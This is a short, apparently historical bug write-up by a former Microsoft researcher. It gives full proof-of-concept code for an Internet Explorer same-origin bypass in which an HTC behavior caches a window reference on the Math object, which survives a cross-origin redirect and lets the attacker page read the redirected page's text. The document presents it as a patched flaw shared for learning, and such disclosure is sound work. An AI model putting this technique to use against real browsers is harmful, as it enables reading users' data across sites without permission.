I found that a window reference stored inside a native JavaScript object like Math survived a cross-origin server redirect. The key insight was that storing a reference in a plain variable did not work — the reference had to be attached as a property of a native object like Math or Date. The HTC behavior file provided the execution context needed to capture the window at the right moment.

<!-- index.html (attacker page) -->
<script>
function main()
{
    var win = showModelessDialog("redirect.aspx", window, "dialogwidth=400px;dialogHeight=300px");

    var strCode =   'dialogArguments.oMath = Math;' +
                    'var myDiv = document.createElement("div");' +
                    'myDiv.style.behavior = "url(htc.htc)";' +
                    'alert("Please, don\'t close this alert yet");';
    
    win.setTimeout(strCode);
    setTimeout("useCachedWindow()", 2000);
}

function useCachedWindow()
{
    alert("Content coming from:  " + oMath.cachedWindow.document.URL + "\n\ndocument.body.innerText:\n" + oMath.cachedWindow.document.body.innerText);
}
</script>
<input type="button" onclick="main()" value="Do it!">
<!-- htc.htc -->
<PUBLIC:COMPONENT URN="urn:msdn-microsoft-com:workshop" >
   <SCRIPT LANGUAGE="JScript">
    window.Math.cachedWindow = window;
   </SCRIPT>
</PUBLIC:COMPONENT>

The modeless dialog opened and ran code that attached Math to the opener, then loaded an HTC behavior that stored window as Math.cachedWindow. When the redirect happened, the HTC context was destroyed, but the Math object survived — carrying the window reference with it. Two seconds later, the main page called oMath.cachedWindow.document.body.innerText and read content from the redirected cross-origin URL.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.